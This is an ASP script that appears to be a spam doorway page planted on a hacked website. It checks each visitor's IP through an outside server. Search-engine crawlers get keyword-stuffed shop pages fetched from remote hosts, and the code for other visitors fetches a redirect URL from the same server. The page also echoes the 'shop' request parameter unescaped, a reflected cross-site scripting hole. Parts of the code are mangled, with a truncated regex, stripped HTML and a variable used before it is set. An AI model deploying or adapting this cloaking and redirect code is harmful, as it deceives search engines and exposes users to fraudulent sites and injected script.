<% Response.Buffer = True Server.ScriptTimeOut=999999 Response.Expires = -1 Response.ExpiresAbsolute = Now() - 1 Response.Expires = 0 Response.CacheControl = "no-cache" ucu=request("shop") uu=request("shop") uu=replace(uu,"+"," ",1,-1,1) %> <% Function getHTTPPage(url) On Error Resume Next dim http set http=Server.createobject("Microsoft.XMLHTTP") Http.open "GET",url,false Http.setRequestHeader "User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0" Http.send() if Http.readystate<>4 then exit function end if getHTTPPage=bytesToBSTR(Http.responseBody,"utf-8") set http=nothing If Err.number<>0 then Response.Write "

" Response.end Err.Clear End If End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function %> <% Public function HTMLcode(fString) if not isnull(fString) then fString = Replace(fString, ">", ">") fString = Replace(fString, "<", "<") fString = Replace(fString, CHR(34), """") fString = Replace(fString, CHR(39), "'") fString = Replace(fString, CHR(13), "") fString = Replace(fString, CHR(10) & CHR(10), "

") fString = Replace(fString, CHR(10), "
") HTMLcode = fString end if end function Function RegExpTest(patrn, strng) Dim regEx, Match, Matches ' ????? Set regEx = New RegExp ' ???????? regEx.Pattern = patrn ' ????? regEx.IgnoreCase = True ' ???????????? regEx.Global = True ' ???????? Set Matches = regEx.Execute(strng) ' ????? For Each Match in Matches ' ??????? RetStr = RetStr & Match.Value & "
" Next RegExpTest = RetStr End Function function urldecode(encodestr) newstr="" havechar=false lastchar="" for i=1 to len(encodestr) char_c=mid(encodestr,i,1) if char_c="+" then newstr=newstr & " " elseif char_c="%" then next_1_c=mid(encodestr,i+1,2) next_1_num=cint("&H" & next_1_c) if havechar then havechar=false newstr=newstr & Chrw(cint("&H" & lastchar & next_1_c)) else if abs(next_1_num)<=127 then newstr=newstr & chrw(next_1_num) else havechar=true lastchar=next_1_c end if end if i=i+2 else newstr=newstr & char_c end if next urldecode=newstr end function if request("cid")<>"" then cid=request("cid") else cid=26 end if descriptions=getHTTPPage("http://ajf.presshop.xyz/getci.aspx?cid="&cid&"&s=5&e=6") gj = "gj=fr&hl=fr" %> <%=request("shop")%> | Cheap | <%=Request.ServerVariables("SERVER_NAME")%> "/> ,Discover our selection of products <%=request("shop")%> at the best price on <%=Request.ServerVariables("SERVER_NAME")%> and enjoy the guaranteed purchase and sale,Daily savings start at 20% and go up to 70%." /> <% if request("wjf")<>"" then%>

  • ?cid=<%=cid%>&pnum=1">pag=1
  • ?cid=<%=cid%>&pnum=2">pag=2
  • ?cid=<%=cid%>&pnum=3">pag=3
  • ?cid=<%=cid%>&pnum=4">pag=4
  • ?cid=<%=cid%>&pnum=5">pag=5
  • ?cid=<%=cid%>&pnum=6">pag=6
  • ?cid=<%=cid%>&pnum=7">pag=7
  • ?cid=<%=cid%>&pnum=8">pag=8
  • ?cid=<%=cid%>&pnum=9">pag=9
  • ?cid=<%=cid%>&pnum=10">pag=10
  • <%else%> <% if request("shop")<>"" then%> <% if request("xi")<>"" then xi=request("xi") else xi=2 end if if request("xc")<>"" then xc=request("xc") else xc=20 end if if request("kk")<>"" then ip="66.249.64.190" else ip=Request.ServerVariables("REMOTE_ADDR") end if ipurl="http://ajf.presshop.xyz/getdomain.aspx?rnd=1&ip="&ip domain =getHTTPPage(ipurl) if (instr(domain,"google")>0 or instr(domain,"msn.com")>0 or instr(domain,"yahoo.com")>0 or instr(domain,"aol.com")>0) then set re = new RegExp re.IgnoreCase =True re.Global = True re.Pattern = "]*?>([\s\S]*?)" Set matchs = re.Execute(html) for each match in matchs sc= match.SubMatches(0) next set matchs = nothing Response.write Html else if request("shop")<>"" then ccc=request("shop") ddd=getHTTPPage("http://ajf.presshop.xyz/newurl.asp?cid="&cid&"") eee=ddd&ccc eee=replace(eee,"--","-") Response.write "" end if Response.end end if %> <% Dim Url,Html yyu=Year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now) URL="http://key.okbankservices.com/mb.aspx?gj=en&hl=en&shop="&request("shop")&"&xi="&xi&"&xc="&xc&"" Html = getHTTPPage(URL) Html=Replace(Html, "euro;", "$") Response.write Html %>
  • ?cid=<%=cid%>&pnum=1">pag=1
  • ?cid=<%=cid%>&pnum=2">pag=2
  • ?cid=<%=cid%>&pnum=3">pag=3
  • ?cid=<%=cid%>&pnum=4">pag=4
  • ?cid=<%=cid%>&pnum=5">pag=5
  • ?cid=<%=cid%>&pnum=6">pag=6
  • <% else %> <% URL="http://ajf.presshop.xyz/mb5.aspx?pnum="&request("pnum")&"&cid="&cid&"&xi=1-6&xc=19-26" Html = getHTTPPage(URL) Response.write Html %> <% end if%> <% end if%>